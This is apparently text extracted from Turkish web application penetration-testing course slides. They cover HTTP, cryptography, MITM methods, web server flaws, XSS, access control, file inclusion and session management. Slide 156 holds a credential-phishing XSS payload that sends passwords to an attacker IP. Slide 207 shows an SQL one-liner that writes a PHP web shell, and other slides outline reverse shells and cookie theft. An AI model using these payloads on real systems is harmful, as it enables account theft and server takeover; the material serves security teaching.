  101. 101. HTTP BİREYSEL EGZERSİZ • Size sağlanacak IP adresinde barındırılan HTTP sunucusuna bağlanmadan önce Burp Suite ile tarayıcınızın arasına giriniz. • Karşılaşacağınız kullanıcı tanılama ekranına herhangi bir kullanıcı adı ve parola girdikten sonra iletilen istek mesajını inceleyiniz.
  102. 102. HTTP Daha detaylı bilgi için bakınız: http://blog.btrisk.com/2014/09/web-uygulamalari- guvenlik-testleri-icin-temel-web-teknolojileri.html
  103. 103. HTTP(S) BİREYSEL EGZERSİZ • Wireshark'ı internet erişimi için kullanacağınız arayüzü dinleyecek şekilde ayarlayınız. • HTTPS protokolü ile bir web sitesine erişerek alış verişi yapılan paketleri inceleyiniz ve SSL protokolünü anlamaya çalışınız. • Wireshark üzerinde inceleyeceğiniz paketleri filtrelemek için eğitmen desteği alınız.
  104. 104. HTTP(S) Temel Kriptografi Kavramları Kriptolama (Encrypting) AlgoritmaAnahtar Açık Metin (Plaintext) Kriptolu Metin (Ciphertext) GİZLİ AÇIK / GİZLİ
  105. 105. HTTP(S) Temel Kriptografi Kavramları Kodlama (Encoding) Algoritma Açık Metin (Plaintext) Kodlanmış Metin (Encoded Text) AÇIK / GİZLİ
  106. 106. HTTP(S) Temel Kriptografi Kavramları Base64 Kodlama (Encoding)
  107. 107. HTTP(S) Temel Kriptografi Kavramları Base64 Kodlama (Encoding) B T R ASCII Kodu (Ondalık) Binary Kodu 6 bit'lik Bölümler 66 84 82 1 49 01000010 01010100 01010010 00110001 010000 100101 010001 010010 Ondalık Karşılığı 001100 010000 000000 000000 16 37 17 18 12 16 0 0 Base64 Kodu Q l R S M Q = = PADDING
  108. 108. HTTP(S) Temel Kriptografi Kavramları Simetrik Kriptolama
  109. 109. HTTP(S) Temel Kriptografi Kavramları Asimetrik Kriptolama (Gizlilik servisi için)
  110. 110. HTTP(S) Temel Kriptografi Kavramları Asimetrik Kriptolama (İnkar Edilemezlik servisi için)
  111. 111. HTTP(S) Temel Kriptografi Kavramları Hashing Hashing Algoritma Açık Metin (Plaintext) Hash (Özet) Değeri X Geri Döndürülemez
  112. 112. HTTP(S) Temel Kriptografi Kavramları Hibrit kriptolama (ör: SSL) Private key of receiver
  113. 113. HTTP(S) SSL içinde HTTP (Stunnel ile SSL tüneli kurmak)
  114. 114. HTTP(S) SSL içinde HTTP (Stunnel ile SSL tüneli kurmak)
  115. 115. HTTP(S) HTTPS erişiminde araya girme (MITM) BİREYSEL EGZERSİZ • Kullandığınız tarayıcının proxy ayarını trafiğin Burp Suite'ten geçeceği şekilde ayarlayınız. • HTTPS üzerinden erişilen bir web sitesine erişmek istediğinizde neler olduğunu gözlemleyiniz.
  116. 116. HTTP(S) Temel PKI Kavramları • Asimetrik Kriptolama • Hashing • Elektronik İmza • Sertifika Otoritesi (CA) • Sertifika
  117. 117. HTTP(S) Tarayıcı sertifika kontrolleri • Trusted bir sertifika otoritesi tarafından imzalanması • Sertifika içinde geçen alan adı ile erişmek istediğimiz alan adının tutarlı olması • Sertifika geçerlilik süresi içinde bulunmamız
  118. 118. HTTP(S) HTTPS erişiminde araya girme (MITM) SINIF TARTIŞMASI • Eğer Burp Suite ile araya girerken tarayıcımızın bizi her seferinde uyarmasını istemezsek ne yapabiliriz?
  119. 119. HTTP(S) Wireshark ile SSL trafiğinin çözülmesi
  120. 120. Man In the Middle (MITM) Yöntemleri MITM Tekniklerine Örnekler: • ARP Poisoning: Layer 2'de iletişimin kendi üzerimizden geçmesi için gateway ve hedef bilgisayarın ARP cache'lerini zehirleme yöntemi • DNS Spoofing: DNS sunucusundan daha önce bir yanıt üreterek kurbanı kendi bilgisayarımıza yönlendirme yöntemi • DNS Cache Poisoning / DNS Hacking (Pharming): Kurban(lar) için recursive DNS istekleri yapan DNS sunucusu bir istekte bulunduğunda sorgu yapılan DNS sunucusundan daha önce yanıt göndererek DNS sunucusunun cache'ini zehirleme yöntemi • ICMP Redirect: Default gateway'den geliyormuş gibi bir ICMP redirect paketi spoof ederek kurbanı iletişimi kendi bilgisayarımız üzerinden gerçekleştirmeye yönlendirme yöntemi • DHCP Spoofing: DHCP isteklerine gerçek DHCP sunucusundan önce yanıt vererek default gateway ayarını kendi bilgisayarımız olacak şekilde kurbanı yönlendirme yöntemi
  121. 121. İstemci Katmanı Güvenlik Yaklaşımları Same Origin Policy • Tarayıcılar tarafından belli bir orijinden gelen JavaScript kodlarının kendi orijinleri dışındaki bir sunucudan veri almalarını engeller. • Önemli: Same Origin Policy farklı orijinlerdeki sunuculara istek yapılmasını, yani veri gönderilmesini engellemez, sadece yapılan isteklerin yanıtlarının işlenmesine izin vermez. • Same Origin Policy ayrıca açık olan diğer pencerelerdeki farklı domain'lerden gelen verilere erişimi de engeller. • Orijin kavramı protokol, tam sunucu adı ve port bilgilerini içerir.
  122. 122. İstemci Katmanı Güvenlik Yaklaşımları Same Origin Policy • Örnek: http://www.btrisk.com/dir/sayfa.html sayfasında bir script için aşağıdaki senaryolarda uygulanan kurallar URL Sonuç Sebebi http://www.btrisk.com/dir/sayfa2.html Başarılı Aynı protokol, sunucu ve port http://www.btrisk.com/dir2/diger.html Başarılı Aynı protokol, sunucu ve port http://kullaniciadi:parola@www.btrisk.c om/dir2/diger.html Başarılı Aynı protokol, sunucu ve port http://www.btrisk.com:81/dir/diger.html Başarısız Aynı protokol ve sunucu, ancak farklı port https://www.btrisk.com/dir/diger.html Başarısız Farklı protokol http://en.btrisk.com/dir/diger.html Başarısız Farklı sunucu http://btrisk.com/dir/diger.html Başarısız Farklı sunucu (tam eşleşme gerekli) http://v2.www.btrisk.com/dir/diger.html Başarısız Farklı sunucu (tam eşleşme gerekli) http://www.btrisk.com:80/dir/diger.html Tarayıcıya Bağlı Port açıkça yazılmış. Karar tarayıcıya göre değişir.
  123. 123. İstemci Katmanı Güvenlik Yaklaşımları Cross Domain Policy • Bazı durumlarda web sunucusunun sahibi diğer domain'lerde barındırılan Flash ve Silverlight kodlarının sunucu üzerindeki verilere erişmesine izin vermek isteyebilir. • Bu durumda sitenin root dizinine eklenecek bir crossdomain.xml dosyası ile farklı domainler için erişim izni verilebilir. <?xml version="1.0"?> <cross-domain-policy> <allow-access-from domain="*" /> </cross-domain-policy>
  124. 124. Web Sunucu Güvenliği Temel web sunucu açıklıkları: • Desteklenen gereksiz HTTP metodları • Dizin listeleme imkanı • HTTP başlıkları içinde sunucu ve versiyon bilgilerinin sızması • Oturum çerezleri için web sunucu imkanları kullanılıyorsa (ki bu önerilen yöntemdir) HttpOnly ve secure özelliklerinin işaretlenmemesi • Öntanımlı zaman aşım süresinin uzun tutulması • İstek boyutlarının kısıtlanmaması
  125. 125. Web Sunucu Güvenliği Temel web sunucu açıklıkları: • Kullanılan teknolojiye özel kontrol imkanlarından faydalanılmaması • Kullanılmayan uzantılar için desteğin kaldırılmaması • XSS engelleme özelliğinin kullanılmaması • Hata mesajları özelleştirilmesinin kullanılmaması • Temel işletim sistemi (OS) sıkılaştırma kontrollerinin uygulanmamış olması
  126. 126. Web Sunucu Güvenliği Daha detaylı bilgi için: • http://blog.btrisk.com/2014/05/Apache-guvenlik- yapilandirmasi-apache-hardening-tip.html • http://blog.btrisk.com/2014/08/Asp.Net-ve-IIS- Konfigurasyonlari.html
  127. 127. Web Sunucu Katmanındaki Açıklıklar • Tehlikeli metodların üretim (production) ortamlarında aktif olması • Üretim (production) ortamlarında dizin listelemenin aktif olması • Web / Uygulama sunucularında tespit edilmiş olan sunucuya özel açıklıklar (ör: .NET padding açıklığı, NTLM authentication'ın açık olması, v.b.)
  128. 128. Web Sunucu Katmanındaki Açıklıklar SINIF TARTIŞMASI • Aşağıdaki metodların aktif olması hangi riskleri doğurabilir? • PUT • DELETE • CONNECT
  129. 129. Web Sunucu Katmanına Yönelik Saldırılar Apache üzerinde WebDAV extension'larını (WAMP ortamında) aktif hale getirmek için: #LoadModule dav_module modules/mod_dav.so #LoadModule dav_fs_module modules/mod_dav_fs.so DavLockDB "C:/wamp/tmp/DavLock" <Directory "c:/wamp/www/"> içinde Dav On httpd.conf dosyası içinde Comment'i kaldır Ekle Ekle
  130. 130. Web Sunucu Katmanına Yönelik Saldırılar PUT metodu saldırı senaryosu 3 1 PUT /webshell.php HTTP/1.1 Web shell erişimi 2 GET /webshell.php HTTP/1.1 1
  131. 131. Web Sunucu Katmanına Yönelik Saldırılar PUT metodu saldırı senaryosu 2 3 1 PUT /tcphell.php HTTP/1.1 Reverse TCP shell erişimi 2 GET /tcpshell.php HTTP/1.1 TCP 4444 TCP 80
  132. 132. Web Sunucu Katmanına Yönelik Saldırılar PUT metodu saldırı senaryosu 2 1 2 PUT /tcphell.php HTTP/1.1 3 4 GET /tcpshell.php HTTP/1.1 5
  133. 133. Web Sunucu Katmanına Yönelik Saldırılar CONNECT metodu saldırı senaryosu CONNECT 192.168.1.5:22 HTTP/1.1 TCP 22 X 192.168.1.585.100.85.100 TCP 80 TCP 22
  134. 134. Web Sunucu Katmanındaki Açıklıklar Dizin listeleme
  135. 135. Web Sunucu Katmanındaki Açıklıklar Dizin listeleme Options Indexes FollowSymLinks <IfModule dir_module> DirectoryIndex index.php index.php3 index.html </IfModule> httpd.conf dosyası içinde Dizin listeleme için gerekli direktif Bu dosyalardan herhangi birisi dizin içinde olmazsa dizin listeleme gerçekleşir
  136. 136. Web Sunucu Katmanındaki Açıklıklar Diğer örnek web sunucu açıklıkları Açıklık Etkisi Apache httpOnly cookie sızma açıklığı Söz konusu açıklık farklı saldırı yöntemleri ile bir arada kullanıldığında (ör: XSS) httpOnly cookie'lerin sızması ile sonuçlanabilir. IIS WebDAV Hizmet Kesinti Açıklığı - MS01-016 WebDAV uzantısı aktif IIS 5.0 sunucusu özel olarak hazırlanmış PROPFIND istekleri ile hizmet kesintisine uğratılabilmektedir. Hizmet kesintisi saldırganın özel hazırladığı paketleri gönderdiği süre boyunca geçerlidir. .NET Framework bilgi sızdırma açıklığı Söz konusu açıklık sayesinde sunucu tarafından kriptolanan hassas bilgilerin çözülmesi ve ASP.NET uygulaması içinde bulunan herhangi bir dosyanın (ör: web.config dosyası) okunabilmesi mümkün olacaktır. Web sunucu hatalarının ele alınmaması Bazı sunucular için web sunucu tarafından kullanıcıya görüntülenen öntanımlı teknik hata mesajları saldırganların işini kolaylaştırıcı bilgiler (ör: web sunucu versiyonu, veritabanı hataları ile tablo yapıları ve verileri, kod parçaları, v.b.) sızdırabilir Web sunucu ASP kod sızdırma açıklığı ASP kaynak kodları kullanıcı adı, parola ve diğer bilgilerden oluşan hassas bilgiler içerebilir. Söz konusu açıklıklar kullanılarak uygulama kaynak kodları ve içeriklerindeki hassas bilgilere yetkisiz erişim gerçekleştirilebilir.
  137. 137. Web Sunucusu Tarayıcı (Browser) Web Sunucusu Uygulama Sunucusu Veritabanı Sunucusu XML Veri Deposu / Konfigürasyon Dosyaları Web Servisi Soket Servisi Diğer Sunucular Oturum Yönetimi Erişim Yönetimi Girdi Kontrolü Hata Ele Alma Sunucu Yönetimi WEB UYGULAMA MİMARİSİ Sunucu Taraflı Kontroller
  138. 138. Parametre Akışı HTML HTTP PHP JAVA C# RUBY
  139. 139. HACKING'İN ALTIN KURALI #1 BİR UYGULAMAYA ANCAK GİRDİ NOKTALARINDAN SALDIRABİLİRSİNİZ
  140. 140. Web Uygulamaları Girdi Noktaları URI Parametreleri POST Parametreleri HTTP Başlıkları Veritabanı Yanıtları Diğer Web Uygulamaları, Web Servisleri Sunucu Çevresel Değişkenleri Sunucu Üzerindeki Dosyalar (XML, config, v.b.)
  141. 141. Web Uygulamaları Girdi Noktaları GİRDİ NOKTASI KONTROL EDİLEBİLİRLİK AÇIKLAMA HTTP İstekleri (URI, POST parametreleri, HTTP başlıkları) Uzaktan Veritabanı Yanıtları Kısmen Uzaktan Kullanıcının neden olduğu kayıtlar uzaktan saldırı vektörü olarak kullanılabilir Diğer Web Uygulamaları, Web Servisleri Diğer Uygulama Sahipleri veya Kullanıcıları Tarafından Diğer alan adlarından alınan kodlar da bu sınıfta değerlendirilebilir Sunucu Üzerindeki Dosyalar Lokal Olarak, Çok Seyrek Olarak Uzaktan Sunucu Çevresel Değişkenleri Lokal Olarak
  142. 142. Web Uygulamaları Girdi Noktaları URI Parametreleri HTTP Başlıkları POST Parametreleri
  143. 143. Web Uygulamaları Girdi Noktaları Sıkça Karşılaşacağınız POST Encoding Türleri Content-Type: application/x-www-form-urlencoded • Öntanımlı form verisi encoding formatıdır. POST /User/Update?0.5469181543563653 HTTP/1.1 Host: www.abc.com User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0 Accept: text/html, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Referer: http://www.abc.com/Main Content-Length: 90 Cookie: ASP.NET_SessionId=oibe1hl3eh1yxrh3lljuqcdi Connection: keep-alive Pragma: no-cache Cache-Control: no-cache Adres=Istanbul&Egitim=Lisans&Meslek=Hacker
  144. 144. Web Uygulamaları Girdi Noktaları Sıkça Karşılaşacağınız POST Encoding Türleri Content-Type: text/xml • Web servis isteklerinde karşılaşılır. AJAX, mobil uygulama veya thick client uygulama isteklerinde gözlenebilir. POST /Services/WebService.asmx HTTP/1.1 Accept-Encoding: gzip,deflate Content-Type: text/xml;charset=UTF-8 SOAPAction: "http://tempuri.org/GetDetail" Content-Length: 296 Host: www.abc.com Proxy-Connection: Keep-Alive User-Agent: Apache-HttpClient/4.1.1 (java 1.5) <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tem="http://tempuri.org/"> <soapenv:Header/> <soapenv:Body> <tem:GetDetail> <tem:itemID>100</tem:itemID> </tem:GetDetail> </soapenv:Body> </soapenv:Envelope>
  145. 145. Web Uygulamaları Girdi Noktaları Sıkça Karşılaşacağınız POST Encoding Türleri Content-Type: multipart/form-data • Form yüklenecek bir dosya içeriyorsa FORM tag'inin "enctype" özelliğinde belirtilerek form verisi içinde dosya yüklemek için kullanılır. <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"/> <title>upload</title> </head> <body> <form action="http://www.btrisk.com" method="post" enctype="multipart/form-data"> <p><input type="text" name="text1" value="test"> <p><input type="file" name="file1"> <p><button type="submit">Submit</button> </form> </body> </html>
  146. 146. Web Uygulamaları Girdi Noktaları Sıkça Karşılaşacağınız POST Encoding Türleri Content-Type: multipart/form-data • Form yüklenecek bir dosya içeriyorsa FORM tag'inin "enctype" özelliğinde belirtilerek form verisi içinde dosya yüklemek için kullanılır. POST http://www.btrisk.com/ HTTP/1.1 Host: www.btrisk.com User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Content-Type: multipart/form-data; boundary=---------------------------115553026227194 Content-Length: 11848 -----------------------------115553026227194 Content-Disposition: form-data; name="text1" test -----------------------------115553026227194 Content-Disposition: form-data; name="file1"; filename="EÄŸitim Takvimi.xlsx" Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet PK
  147. 147. Web Uygulamaları Girdi Noktaları Sıkça Karşılaşacağınız POST Encoding Türleri Content-type: application/json • Genellikle AJAX istekleri ve yanıtlarında görülür, ancak mobil ve thick client uygulamalarında da rastlanır. JSON formatı hafif (lightweight) olması dolayısıyla web servis yanıtlarında da tercih edilmektedir. POST /api/AnalyticsData/Integration HTTP/1.1 Accept: application/json Content-type: application/json User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; google_sdk Build/KK) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Mobile Safari/537.36 Content-Length: 316 Host: www.abc.com Connection: Keep-Alive {"phone":"905554445566","customerId":"847364655","osVersion":"4.3.2","accessToken":"a181c0df47ce492db087f247a37650 46","timeValue":"1403363400055","email":"user@gmail.com","appVersion":"1.0.3","customParams":"","name":"MEHMET","s urname":"KAYHAN","deviceId":"1b0ccd48f4ecefdgd","osName":"Android","sdkVersion":"4.1.0"}>
  148. 148. Web Uygulamaları Girdi Noktaları Sıkça Karşılaşacağınız POST Encoding Türleri JSON (JavaScript Object Notation) • JSON formatı JavaScript Object Notation'ın bir alt kümesi olup JavaScript kodları içinde nesne erişimi için kullanılan bir native veri formatıdır. • AJAX isteklerine dönen yanıtlarda sıklıkla kullanılmasının temel nedeni budur. • Ayrıca XML formatına nazaran kullanılan whitespace veri miktarını azalttığı için iletilen veri büyüklüğünün azaltılmasında da fayda sağlar.
  149. 149. AJAX AJAX Nedir? AJAX = Asynchronous JavaScript and XML. AJAX'ı anlamak için aşağıdaki konularda temel bilgi sahibi olmak gereklidir: • HTML / XHTML • CSS • JavaScript / DOM
  150. 150. AJAX AJAX Nasıl Çalışır? Bir olay oluştuğunda... • XMLHttpRequest nesnesi oluştur • HTTP isteği gönder • Dönen veriyi JavaScript ile işle • Sayfa içeriğini güncelle • HTTP isteğini işle • Bir yanıt oluştur ve tarayıcıya gönder TARAYICI SUNUCU Örneğin bir tuşa basıldığında Örneğin basılan tuşla başlayan illeri listele
  151. 151. AJAX Örnek Kod POST /api/AnalyticsData/Integration HTTP/1.1 Accept: application/json Content-type: application/json User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; google_sdk Build/KK) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Mobile Safari/537.36 Content-Length: 316 Host: www.abc.com Connection: Keep-Alive {"phone":"905554445566","customerId":"847364655","osVersion":"4.3.2","accessToken":"a181c0df47ce492db087f247a37650 46","timeValue":"1403363400055","email":"user@gmail.com","appVersion":"1.0.3","customParams":"","name":"MEHMET","s urname":"KAYHAN","deviceId":"1b0ccd48f4ecefdgd","osName":"Android","sdkVersion":"4.1.0"}>
  152. 152. Web Uygulamaları Girdi Noktaları Verilere Erişim Veri Erişimi Değişkenleri $_REQUEST $_GET $_POST $_COOKIE $_SERVER $_ENV URI Parametreleri POST Parametreleri Cookie Değerleri HTTP Başlıkları Çevresel Değişkenler
  153. 153. Web Uygulamaları Girdi Noktaları Verilere Erişim Örnek <?php if(isset($_REQUEST['kullaniciAdi'])){ echo 'Hoşgeldin '.$_REQUEST['kullaniciAdi']; } else { echo 'Kullanıcı Adını Giriniz...'; } ?>
  154. 154. XSS Açıklıkları XSS Nedir? • Cross Site Scripting'in kısaltmasıdır. CSS "Cascaded Style Sheets" ifadesinin kısaltması olarak kullanıldığından XSS kullanılmıştır. • Tarayıcı üzerinde gelen HTML sayfasının içeriğinde bulunan Javascript (v.d.) script kodlarının çalıştığını görmüştük. • Eğer web uygulaması (örneğin bir php kodu) istemciden gelen bir girdiyi (ör: URI parametresi, POST parametresi, JSON, SOAP v.d. formatlardaki girdiler, cookie değeri, diğer HTTP başlık değerleri) bir girdi kontrolünden geçirmeden ve özel HTML karakterlerini encode etmeden kullanıcıya geri gönderirse ve bu girdi bir script içeriyorsa XSS gerçekleşir.
  155. 155. XSS Açıklıkları Yansıtılan (Reflected) XSS Açıklıkları 7 1 2 Saldırgan özel URL'i kullanıcıya gönderir 3 4 Kullanıcının tarayıcısı oturum parametresini saldırgana gönderir 6 Script kullanıcının tarayıcısında çalışır 5 KULLANICI SALDIRGAN UYGULAMA
  156. 156. XSS Açıklıkları Yansıtılan (Reflected) XSS Açıklıkları function bilgiGonder() { var xmlhttp; xmlhttp = new XMLHttpRequest(); var url; url = "http://192.168.2.4/hack.php?gsm=" + document.getElementById('txt_gsm').value + "&password=" + document.getElementById('txt_password').value; xmlhttp.open("GET", url, true); xmlhttp.send(); return true; } var hack_token=document.getElementsByName("txt_token")[0].value; var hack_html='<style>body{visibility:hidden;}</style><div style=visibility:visible; > <form class="form-login" method="post" action="login.php" onsubmit="bilgiGonder();"> <h2 class="form-login-heading">XSS Login</h2></br> <input name="txt_gsm" id="txt_gsm" type="text" class="form-control" placeholder="5XXXXXXXXX" autofocus></br> <input name="txt_password" id="txt_password" type="password" class="form-control" placeholder="Parola"></br> <input type="hidden" name="txt_token" value="'+hack_token+'"> <input type="submit" class="btn btn-block btn-theme" style="background-color: #48bcb4;" value="Giriş"></br> </form> </div>'; document.body.innerHTML=hack_html; XSS PAYLOAD
  157. 157. XSS Açıklıkları Yansıtılan (Reflected) XSS Açıklıkları Normal Login
  158. 158. XSS Açıklıkları Yansıtılan (Reflected) XSS Açıklıkları XSS Login Access log kaydı
  159. 159. XSS Açıklıkları SINIF TARTIŞMASI • XSS saldırısı sadece URL parametrelerine yönelik mi gerçekleştirilebilir (POST parametresi üzerinden XSS yapılabilir mi)?
  160. 160. XSS Açıklıkları Saklanan (Stored) XSS Açıklıkları 7 1 3 4 Kullanıcının tarayıcısı oturum parametresini saldırgana gönderir 6 Script kullanıcının tarayıcısında çalışır 5 KULLANICI SALDIRGAN UYGULAMA 1
  161. 161. XSS Açıklıkları Saklanan (Stored) XSS Açıklıkları Talep ekranında XSS payload'un girilmesi
  162. 162. XSS Açıklıkları Saklanan (Stored) XSS Açıklıkları Veritabanına kaydedilen talebin görüntülenmesi
  163. 163. XSS Açıklıkları Document Object Model (DOM) Tabanlı XSS Açıklıkları 7 1 2 Saldırgan özel URL'i kullanıcıya gönderir 3 4 Kullanıcının tarayıcısı oturum parametresini saldırgana gönderir 6 URL içinde geçen script kodu DOM kullanan Javascript ile HTML'e katılır 5 KULLANICI SALDIRGAN UYGULAMA Yansıtılan XSS'ten farkı; URL içinde geçen script kodunun sunucu uygulaması tarafından değil, sunucunun ürettiği HTML sayfasının içinde zaten var olan Javascript kodu tarafından dinamik olarak HTML'e dahil edilmesidir.
  164. 164. XSS Açıklıkları Document Object Model (DOM) Tabanlı XSS Açıklıkları Adresler tanımlama sayfası
  165. 165. XSS Açıklıkları Document Object Model (DOM) Tabanlı XSS Açıklıkları Adres güncelleme fonksiyonu
  166. 166. XSS Açıklıkları Document Object Model (DOM) Tabanlı XSS Açıklıkları Normal kullanım
  167. 167. XSS Açıklıkları Document Object Model (DOM) Tabanlı XSS Açıklıkları DOM tabanlı XSS'in gerçekleştiği Javascript bölümü
  168. 168. XSS Açıklıkları Document Object Model (DOM) Tabanlı XSS Açıklıkları XSS payload'u
  169. 169. XSS Açıklıkları Document Object Model (DOM) Tabanlı XSS Açıklıkları DOM tabanlı XSS
  170. 170. Erişim Kontrol Açıklıkları Dikey Erişim İhlali Standart kullanıcı olarak uygulamaya erişiyoruz
  171. 171. Erişim Kontrol Açıklıkları Dikey Erişim İhlali Normalde admin kullanıcı profili ile erişilen URL'i kullandığımızda fonksiyona erişebiliyoruz
  172. 172. Erişim Kontrol Açıklıkları Dikey Erişim İhlali Admin kullanıcı profiliyle uygulamaya erişim
  173. 173. Erişim Kontrol Açıklıkları Yatay Erişim İhlali Fatura detay görüntüleme linki
  174. 174. Erişim Kontrol Açıklıkları Yatay Erişim İhlali Faturanın sistem üzerindeki numarası Bu müşteriye ait telefon numarası
  175. 175. Erişim Kontrol Açıklıkları Yatay Erişim İhlali Fatura görüntüleme HTTP isteği
  176. 176. Erişim Kontrol Açıklıkları Yatay Erişim İhlali Fatura numarasını değiştirerek farklı müşterinin fatura detayını görebiliyoruz
  177. 177. Erişim Kontrol Açıklıkları Yatay Erişim İhlali Fatura numarasını değiştirerek farklı müşterinin fatura detayını görebiliyoruz
  178. 178. Erişim Kontrol Açıklıkları Yatay Erişim İhlali Fatura numaraları ve hangi hatlara ait oldukları bilgisi
  179. 179. Erişim Kontrol Açıklıkları Geçerli Kullanıcı Belirleme GEÇERLİ kullanıcı kodu, hatalı parola
  180. 180. Erişim Kontrol Açıklıkları Geçerli Kullanıcı Belirleme Geçerli kullanıcı kodu, hatalı parola'ya dönen yanıt
  181. 181. Erişim Kontrol Açıklıkları Geçerli Kullanıcı Belirleme GEÇERSİZ kullanıcı kodu, hatalı parola
  182. 182. Erişim Kontrol Açıklıkları Geçerli Kullanıcı Belirleme Geçersiz kullanıcı kodu, hatalı parola'ya dönen yanıt GÖRÜNÜR BİR FARK YOK !
  183. 183. Erişim Kontrol Açıklıkları Geçerli Kullanıcı Belirleme Ancak dönen yanıtlar arasında 6 byte'lık bir fark var
  184. 184. Erişim Kontrol Açıklıkları Geçerli Kullanıcı Belirleme Aradaki fark HTML encode edilmiş bir boşluk karakterinden kaynaklanıyor "&nbsp;"
  185. 185. Erişim Kontrol Açıklıkları Diğer Erişim Kontrol Açıklıklarına Örnekler: • Parola politikası uygulanmaması ve kaba kuvvet saldırıları • Hatalı uygulanan CAPTCHA kontrolü, CAPTCHA imajının robot aracılığı ile okunabilmesi • Referer başlığına güvenen erişim kontrolü • Parola alanlarında "autocomplete=off" özelliğinin kullanılmaması • Tek kullanımlık parola geçerlilik süresinin sınırlandırılmaması
  186. 186. Direct Object Access PDF, ofis dokümanı, resim dosyaları gibi statik içerik web sunucu dizinlerinde barındırılırsa bu verilere erişim kontrolü uygulanamayabilir. Bazı platformlar (ASP.NET veya Java framework'leri gibi) tanılanmamış kullanıcıların uygulama dizinleri altındaki herhangi bir dosyaya erişmesine izin vermemektedir. Erişim kontrolü uygulansa bile kontrol sadece tanılanmış ve tanılanmamış kullanıcılar arasında uygulanabilir, dolayısıyla tanılanmış kullanıcılar yine tüm içeriğe erişebilir.
  187. 187. Direct Object Access
  188. 188. Direct Object Access 1.jpg 2.jpg 3.jpg 2. ve 3. isteklerde oturum cookie'si kullanılmaması na rağmen içeriğe erişilebilmiştir.
  189. 189. İstemci Taraflı Kontrollerin Aşılması SINIF TARTIŞMASI • İstemci tarafında uygulanan kontrolleri nasıl uygulayabiliriz? • Bu kontroller hangi koşullarda geçersiz kalabilir?
  190. 190. İstemci Taraflı Kontrollerin Aşılması Uygulamamız TL transfer fonksiyonunda tutarın negatif olmamasını kontrol ediyor
  191. 191. İstemci Taraflı Kontrollerin Aşılması Bu kontrolün Javascript kodu ile yapıldığı anlaşılıyor
  192. 192. İstemci Taraflı Kontrollerin Aşılması Kontrolü yapan Javascript kontrolünü dönen yanıttan temizliyoruz Böylece istemci tarafındaki kontrol etkisiz kalacak
  193. 193. İstemci Taraflı Kontrollerin Aşılması Javascript kontrolünü ortadan kaldırdıktan sonra tutarı -50 TL olarak gönderiyoruz Tahmin edebileceğiniz gibi önyüzde geçerli bir rakam girip attack proxy'de de bu değişikliği yapabilirdik Şimdi sunucu tarafında da aynı kontrolün uygulanıp uygulanmadığını görelim
  194. 194. İstemci Taraflı Kontrollerin Aşılması İşlemimiz başarı ile gerçekleşti ve biz negatif bir para transferi ile bakiyemizi artırdık
  195. 195. Remote File Inclusion Çok sık gözlenmemekle birlikte web uygulamalarının parametre olarak aldıkları dosya isimlerini çalışma anında HTML içeriğine dahil ettikleri görülebilir Buradaki örnekte uygulama bir dosya adını parametre olarak alıyor gibi görünüyor Bu adın kök dizinden itibaren tanımlanmış olması uzak dosya dahil etme ihtimalini artırıyor
  196. 196. Remote File Inclusion Sayfa kaynak kodunu incelediğimizde bu parametrede belirtilen dosyanın HTML kodu içine dahil edildiğini görüyoruz
  197. 197. Remote File Inclusion Bu parametreye kendi kontrol ettiğimiz bir sitede bulunan ve sayfanın cookie'lerini çalarak istediğimiz IP adresine gönderen bir Javascript kodunun adresini yazıyoruz
  198. 198. Remote File Inclusion Cookie çalan Javascript kodumuz
  199. 199. Remote File Inclusion Kontrol ettiğimiz web sitesine gelen cookie bilgileri
  200. 200. Uygulama Sunucusu Yönetim Açıklıkları TOMCAT Application Manager
  201. 201. Uygulama Sunucusu Yönetim Açıklıkları TOMCAT Application Manager
  202. 202. Uygulama Sunucusu Yönetim Açıklıkları TOMCAT Application Manager
  203. 203. Uygulama Sunucusu Yönetim Açıklıkları TOMCAT Application Manager
  204. 204. Uygulama Sunucusu Yönetim Açıklıkları TOMCAT Application Manager
  205. 205. Uygulama Sunucusu Yönetim Açıklıkları TOMCAT Application Manager
  206. 206. Uygulama Sunucusu Yönetim Açıklıkları phpMyAdmin
  207. 207. SELECT "<?php System($_REQUEST['cmd']); ?>" INTO OUTFILE "C:wampwwwcmd.php" Uygulama Sunucusu Yönetim Açıklıkları
  208. 208. Uygulama Sunucusu Yönetim Açıklıkları
  209. 209. Uygulama Sunucusu Yönetim Açıklıkları
  210. 210. Uygulama Sunucusu Yönetim Açıklıkları FTP Servisi
  211. 211. Uygulama Sunucusu Yönetim Açıklıkları
  212. 212. Uygulama Sunucusu Yönetim Açıklıkları JBOSS JMX Console
  213. 213. Uygulama Sunucusu Yönetim Açıklıkları JBOSS JMX Console
  214. 214. Oturum Yönetim Açıklıkları Oturum Yönetimi • HTTP'nin connectionless bir protokol olması • Kullanıcı tanılama fazlarında oturum parametresinin değişmesi • Oturum parametresinin rassallığı ve anahtar genişliği • Oturum geçerlilik süre sınırı (istemci ve sunucu tarafında) • Güvenli çıkış fonksiyonalitesi
  215. 215. Oturum Yönetim Açıklıkları Oturum Parametresi'nin Tanılama Fazlarında Değişimi Anonim Faz PHPSESSID Login Fazı BTRmCookie OTP Fazı 1 2 3
  216. 216. Oturum Yönetim Açıklıkları Hangi Parametre Oturum Parametresi
  217. 217. Oturum Yönetim Açıklıkları Hangi Parametre Oturum Parametresi
  218. 218. Oturum Yönetim Açıklıkları Hangi Parametre Oturum Parametresi PHPSESSID cookie'sini çıkardığımızda uygulama bizi login sayfasına yönlendirdi.
  219. 219. SINIF TARTIŞMASI • Oturum parametresinin oturum fazlarında değişmemesi nasıl bir risk doğurur? Oturum Yönetim Açıklıkları SESSION FIXATION
